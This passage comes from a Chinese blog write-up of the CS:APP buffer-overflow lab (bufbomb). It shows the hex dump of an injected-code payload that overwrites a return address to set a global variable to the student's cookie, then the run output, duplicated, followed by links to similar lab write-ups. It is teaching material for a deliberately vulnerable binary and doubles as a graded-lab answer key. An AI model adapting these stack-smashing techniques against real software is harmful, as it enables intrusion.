接着使用hex2raw文件，将我们的output3.txt文件进行转换，生成一个二进制文件output3.bin。生成二进制文件之后，使用命令"./bufbomb < output3.bin -u 2021301381"，即可成功通过第三关！

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output3.txt > output3.bin
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.bin
�4hU��ckf�8��4hU��U�
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output3.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 b834 6855 …4hU
00000030: baa4 636b 6689 1538 d104 08bc cc34 6855 …ckf…8…4hU
00000040: c390 9090 558c 0408 0a …U…
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output3.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Bang!: You set global_value to 0x666b63a4
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

参数 | getbuf | %esp |

接着使用hex2raw文件，将我们的output3.txt文件进行转换，生成一个二进制文件output3.bin。生成二进制文件之后，使用命令"./bufbomb < output3.bin -u 2021301381"，即可成功通过第三关！

npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./hex2raw < output3.txt > output3.bin
npusec@ubuntu:~/Desktop/3/buflab2021301381$ cat output3.bin
�4hU��ckf�8��4hU��U�
npusec@ubuntu:~/Desktop/3/buflab2021301381$ xxd output3.bin
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 …
00000020: 0000 0000 0000 0000 0000 0000 b834 6855 …4hU
00000030: baa4 636b 6689 1538 d104 08bc cc34 6855 …ckf…8…4hU
00000040: c390 9090 558c 0408 0a …U…
npusec@ubuntu:~/Desktop/3/buflab2021301381$ ./bufbomb < output3.bin -u 2021301381
Userid: 2021301381
Cookie: 0x666b63a4
Type string:Bang!: You set global_value to 0x666b63a4
VALID
NICE JOB!
npusec@ubuntu:~/Desktop/3/buflab2021301381$

没耳朵的Rabbit
关注
  • 32
    点赞
  • 踩
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
cs app lab3 缓冲区溢出攻击 bufbomb
qq_15514565的博客
03-09 3296
Level 0: Candle (10 pts) The function getbuf is called within BUFBOMB by a function test having the following C code: 1 void test() 2 { 3 int val; 4 volatile int local = 0xdeadbeef; 5 entry_chec
西北工业大学计算机系统基础实验报告
04-02
计算机系统基础实验报告主要涉及了计算机中数据的表示和处理，包括位操作、补码运算以及浮点数表示。在Lab1中，学生通过编写C语言函数来实践这些概念，以下是对具体题目的详细分析： 1. **bitOr**：这个函数实现了...
【计算机系统基础05】Lab3数据溢出
chien__的博客
04-13 1507
Fizz的起始地址已在上图标出，ebp+4为栈帧返回地址，道理与somke类似，由于参数地址为旧EBP+4+8，我们需要在下方额外添加8个字节以作为函数参数，其中前四个字节可以随意更改，后四个字节为cookie的地址，且采用小端方式。由于test的栈空间不能破坏，我们在buf缓冲区的对应位置存回test的esp，返回地址存放在buf缓冲区首地址，攻击代码为修改eax的值为cookie并重新回到test。这些字节的内容可以随意更改，接下来的位置属于溢出的部分，它可以覆盖EBP的值。
计算机系统基础实验-BufferBomb实验
Mas的博客
03-24 4620
之前有人问我能不能放出这个实验课程答案，这是大三第一学期的实验课中的反汇编实验作业，也是从别的博主那里学习的。因为太久以前其实好多知识点都忘了。可以自己去找南京大学的袁春风老师公开课，B站或者中国大学慕课网都有，计算机系的公开课，C语言或者JAVA程序设计，数据结构都推荐浙大翁恺或者哈工大公开课，计算机组成原理推荐南京大学袁春风公开课，操作系统或者计算机网络，自己看王道后看书的。 ...
bufbombbufbombbufbombbufbomb
m0_73589405的博客
05-12 1053
用-n标志来运行BUFBOMB program，调用testn,其将会调用getbufn五次，拥有520字节缓冲区，每次都有不同的栈帧偏移量，需要这五次均返回cookie，且最后需要恢复到testn。，而不是返回到test。在testn调用了getbufn返回后（getbufn栈帧关闭，testn栈帧恢复），esp的位置是不变的（尽管每次getbufn的栈帧不同）由于每次的栈帧位置不同，得将恶意汇编放在靠后的位置，前面通过nop指令（不执行任何操作，它仅仅是一个占位符指令,
buflab-计算机系统实验
CatCatchCap的博客
05-12 1673
0. 查看cookie lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./makecookie 202026010521 0x685c1d96 1.Level0: Candle (10 pts) Your task is to get BUFBOMB to execute the code forsmoke when getbuf executes its return statement,rather than returning to test
西北工业大学 计院 计组实验 流水线CPU
07-08
西北工业大学 计院 计组实验 内涵流水线CPU所有模块代码，直接提交希冀平台可通过测试。同时还有一份报告，里面详细讲述了设计思路，可供参考。所有代码均是本人手写，可以不用考虑查重，但是挂在网上，有可能你买了...
西工大计算机组成与结构基础实验满绩单周期、流水线CPU代码、报告
07-26
西工大计算机组成与结构基础实验是对计算机硬件体系结构深入理解的重要实践环节，涉及的知识点广泛而深入。在这个实验中，学生将接触到计算机的核心组成部分，包括CPU的设计与实现，以及性能优化技术，如单周期CPU和...
西北工业大学计算机学院计算机操作系统实验报告一 创建GeekOS
11-20
【西北工业大学计算机操作系统实验报告一 创建GeekOS】 本次实验主要目标是理解并实践操作系统的内核线程创建，以及在GeekOS操作系统上实现多任务调度。实验内容包括编写引导扇区代码、创建和管理内核线程，以及...
西工大计组实验.zip
07-23
《西北工业大学 计组实验》是一系列针对计算机组成原理（计组）的实验，旨在帮助大学生深入理解CPU的工作原理和设计。在这个实验中，学生将接触到三个关键的实验主题：单周期CPU、流水线CPU以及相关的实验报告撰写。...
CSAPP缓冲区溢出攻击实验(上)
weixin_30532369的博客
06-05 746
CSAPP缓冲区溢出攻击实验(上) 下载实验工具，最新的讲义在这。网上能找到的实验材料有些旧了，有的地方跟最新的handout对不上。不过没有关系，大体上只是程序名(sendstring)或者参数名(bufbomb -t)的差异，不影响我们的实验。 1.实验工具 1.1 makecookie 后面实验中，五次“攻击”中有四次都是使你的cookie出现在它原本不存...
CSAPP缓冲区溢出实验记录（一）
weixin_33967071的博客
09-06 785
题目说明：开启漏洞之旅，从基础做起。近日，下载了CMU为《深入理解计算机系统》（CSAPP）一书教学配合的缓冲区溢出实验Buffer Bomb，重温了栈溢出的原理。题目提供了一个有漏洞溢出的程序bufbomb，包括五个Level，在每个Level中要求返回指定的函数、修改全局变量、执行Shellcode等，难度逐渐递增。为保证实验者作业的唯一性，实验提供了程序makecook...
CSAPP缓冲区溢出攻击实验(下)
weixin_30788619的博客
06-12 979
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升，我们要让getbuf()返回到bang()而非test()，并且在执行bang()之前将global_value的值修改为cookie。因为全局变量与代码不在一个段中，所以我们不能让缓冲区一直溢出到.bss段（因为global_value初始化为0，所以它会被...
linux 调试 c程序工具,强大的C/C++ 程序调试工具GDB
weixin_35715281的博客
05-09 357
分享下强大的C/C++ 程序调试工具GDB1.基本调试这里只列举最最常用的GDB命令。1.1 启动GDBgdbprogram：准备调试程序。也可以直接进入gdb，再通过file命令加载。1.2 添加断点bfunction：为函数设置断点。b是break的缩写，除了函数名，还可以是地址、当前执行处的+/-偏移等。1.3 运行程序runargs：开始运行程序，run后面可以加程序需要的参数，就像...
CSAPP缓冲区溢出实验记录（三）
weixin_33782386的博客
09-08 641
Level 5 Nitroglycerin (10 分)题目说明：这一关是一道加分题。在bufbomb程序中还有一个'-n'的选项，使用这个选项时，bufbomb会运行Nitro模式，此时程序不会调用getbuf，而是调用getbufn: intgetbufn() { charbuf[512]; Gets(buf); return1; }这个函数...
【Linux】进程间通信——匿名管道
最新发布
2201_76024104的博客
07-08 1132
1.：一个进程需要将它的数据发送给另一个进程，比如我们有两个进程，一个负责获取数据，另一个负责处理数据，这时第一个进程就要将获取到的数据交给第二个进程2.：多个进程间共享同样的资源3.：一个进程需要给其他进程发送消息，通知他们发生了某种事件4.：有些事件需要完全控制另一个进程，比如我们在使用gdb调试时，gdb就是一个进程，它控制了我们要调试的进程进程之前是有互相传递信息的需求，但是，一个进程不可能去另一个进程的地址空间中取信息，所以这就要求操作系统去提供一块交换数据的空间来供进程之间使用。
建立共享linux第三方软件仓库
Znj1421304181的博客
07-08 204
【代码】建立共享linux第三方软件仓库。
西工大计算机学院计算机操作系统实验报告 运行用户态程序
11-20
西北工业大学计算机学院操作系统实验报告 实验名称：运行用户态程序 实验目的：掌握在GeekOS系统用户态模式下加载并运行可执行程序的方法 实验步骤： 1. 修改makefile文件：在Project2的基础上，删除-Werror，添加...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值